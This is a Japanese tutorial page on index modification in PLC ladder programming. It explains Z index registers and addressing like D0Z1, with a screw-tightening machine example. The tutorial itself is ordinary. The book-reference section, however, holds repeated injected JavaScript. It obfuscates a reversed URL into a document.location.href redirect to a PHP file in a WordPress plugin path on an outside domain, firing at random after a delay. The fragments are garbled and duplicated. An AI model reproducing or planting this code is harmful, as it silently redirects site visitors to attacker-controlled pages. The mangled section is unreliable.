シーケンス制御講座「インデックス修飾」

シーケンス制御講座「インデックス修飾」

基礎からはじめるシーケンス制御講座

上級:インデックス修飾

インデックス修飾について簡単に説明します。

マニュアルには「インデックス修飾は、インデックスレジスタを使用した間接設定です」と記載されています。

難しく書いていますが、実際に使ってみれば簡単に使用できます。データを扱うことが多い場合に使用するといいでしょう。

 

データレジスタの値を変更することは簡単です。ではデータレジスタのデバイス番号(アドレス)を変更することは可能でしょうか? 例えばプログラム上では「D0」と指定していますが、この「D0」を「D3」や「D100」のように色々なアドレスに変更することができるのです。

これを可能にするのがインデックス修飾で、これに使うものがインデックスレジスタとなります。

 

データレジスタは「D」ですが、インデックスレジスタは「Z」を使用します。

値はデータレジスタのように使用でき、MOVで書込みができます。 使い方も簡単で、まず[MOVP K3 Z1]として「Z1」のインデックスレジスタに3を書き込みます。

そして「D0Z1」の用に対象のデータレジスタの後ろに続けてインデックスレジスタを書けば、「D0Z1」=「D3」のことになります。

 

[MOVP K1 D0Z1]と書き、「Z1」の値をあらかじめ設定して、書き込めば条件によっていろいろなアドレスに変更すれば、書込み先のデータレジスタのアドレスを変更できます。

またデータレジスタだけでなく、内部リレーに対しても使用可能です。「M0Z1」等のように書けばいいのです。「Z1」の値が100なら「M100」を指定したことと同じになります。

「M1Z0」=「M1」のアドレス部分、つまり1+「Z0」の値となります。「Z0」の値が10であれば「M11」となります。「Z」も0〜始まってCPUによって上限がありますが、複数あります。機種によっては「V」も使用できます。

 

これだけの説明では実際必要ないように見えます。単純なプログラムではまず使うことはありません。

しかしデータ処理などを行う場合は使用しないと、とんでもなく長いプログラムになってしまいます。簡単な使用例を載せておきます。

img

上の回路図はネジ締め機を操作する回路の一部です。

制御するネジ締め機は、シーケンサーからスタート信号を入れると10箇所ネジを順番に締めていくとします。 現在何番目のネジを締めているかという情報は「D0」に入ってくるとします。

BCDで変換するなどして、とにかく「D0」に番号が入ります。そしてネジ締め機が動作している間は「X10」が入ります。各ポイントのネジを締め終わったら、ネジ締めが正常に完了した場合「X11」に信号が、ネジ締め不良となった場合「X12」に信号が0.5秒程度入ってくるとします。

 

「D0」と「X11」と「X12」の情報で、現在何番目のネジを締めて、そのネジが正常に締め付けられたがどうかが分かります。これをデータレジスタに保存してみましょう。

まず、現在のネジ締めポイントは常に「Z0」に書き込みます。そしてネジ締めOKのときは1を、NGのときは2を書き込みます。上記の回路のようにしてください。

すると1番目のネジ締め情報は「D11」にはいり、2番目のネジ締め情報は「D12」にはいります。インデックスレジスタをつけているため、順番に振り分けてくれます。

 

これがインデックスレジスタの簡単な使用方法です。次の項目では、もう少し詳細に説明してみます。

出典:『基礎からはじめる シーケンス制御講座』

参考書

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom:0px;”>

これだけ!シーケンス制御 (これだけ!シリーズ)
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 10px”>

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom:10px;line-height:120%”>これだけ!シーケンス制御 (これだけ!シリーズ)

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:5px;line-height:120%”>posted with amazlet at 17.05.10
武永 行正
秀和システム
売り上げランキング: 70,884
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom:0px;”>

図解入門よくわかる最新シーケンス制御と回路図の基本 (How‐nual Visual Guide Book)
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 10px”>

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom:10px;line-height:120%”>図解入門よくわかる最新シーケンス制御と回路図の基本 (How‐nual Visual Guide Book)

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:5px;line-height:120%”>posted with amazlet at 17.05.10
武永 行正
秀和システム
売り上げランキング: 31,176

1977年、広島県福山市生まれ。武永制御 代表。「基礎からはじめるシーケンス制御講座」管理人。◎福山職業能力開発短期大学校(制御科)を卒業。某電機会社にて設備エンジニアを務めた後、武永制御を創業。◎著作に『図解入門よくわかる最新シーケンス制御と回路図の基本』(2013年 秀和システム)、『これだけ!シーケンス制御』(2014年 秀和システム これだけ!シリーズ)がある。◎基礎からはじめるシーケンス講座 http://plckouza.com/index.html